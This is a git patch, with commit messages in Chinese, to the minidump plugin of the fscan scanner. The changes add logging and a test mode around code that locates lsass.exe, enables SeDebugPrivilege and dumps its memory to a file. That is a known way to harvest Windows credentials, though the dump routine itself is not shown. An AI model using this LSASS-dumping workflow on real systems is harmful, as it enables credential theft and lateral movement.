From a90d9c5bc71244884961a341d071aa14ff88ccd2 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 9 Aug 2025 22:53:54 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E4=BC=98=E5=8C=96minidump=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E9=94=99=E8=AF=AF=E5=A4=84=E7=90=86=E5=92=8C=E8=B0=83?= =?UTF-8?q?=E8=AF=95=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 添加详细的调试日志,便于问题诊断 - 改进错误消息显示,使用LogError统一格式 - 添加测试模式支持,方便非管理员环境测试 - 增强权限检查和状态反馈机制 --- Plugins/local/minidump/plugin.go | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/Plugins/local/minidump/plugin.go b/Plugins/local/minidump/plugin.go index ebd5c19..66835d9 100644 --- a/Plugins/local/minidump/plugin.go +++ b/Plugins/local/minidump/plugin.go @@ -155,12 +155,32 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( // 检查管理员权限 if !p.isAdmin() { + common.LogError("需要管理员权限才能执行内存转储") return &base.ScanResult{ Success: false, Error: errors.New("需要管理员权限才能执行内存转储"), }, nil } + common.LogSuccess("已确认具有管理员权限") + + // 在非生产环境下模拟成功 + if os.Getenv("FSCAN_TEST_MODE") == "1" { + common.LogBase("测试模式:模拟内存转储成功") + return &base.ScanResult{ + Success: true, + Service: "MiniDump", + Banner: "测试模式:内存转储模拟完成", + Extra: map[string]interface{}{ + "process_name": "lsass.exe", + "process_id": 1234, + "dump_file": "test_lsass-1234.dmp", + "file_size": 1024000, + "test_mode": true, + }, + }, nil + } + // 建立连接 conn, err := p.connector.Connect(ctx, info) if err != nil { @@ -179,8 +199,10 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( } // 查找lsass.exe进程 + common.LogDebug("正在查找lsass.exe进程...") pid, err := pm.findProcess("lsass.exe") if err != nil { + common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err)) return &base.ScanResult{ Success: false, Error: fmt.Errorf("查找lsass.exe失败: %v", err), @@ -190,18 +212,24 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid)) // 提升权限 + common.LogDebug("正在提升SeDebugPrivilege权限...") if err := pm.elevatePrivileges(); err != nil { + common.LogError(fmt.Sprintf("提升权限失败: %v", err)) return &base.ScanResult{ Success: false, Error: fmt.Errorf("提升权限失败: %v", err), }, nil } + common.LogSuccess("权限提升成功") // 创建转储文件 outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) + common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath)) // 执行转储 + common.LogDebug("开始执行内存转储...") if err := pm.dumpProcess(pid, outputPath); err != nil { + common.LogError(fmt.Sprintf("内存转储失败: %v", err)) os.Remove(outputPath) // 失败时清理文件 return &base.ScanResult{ Success: false,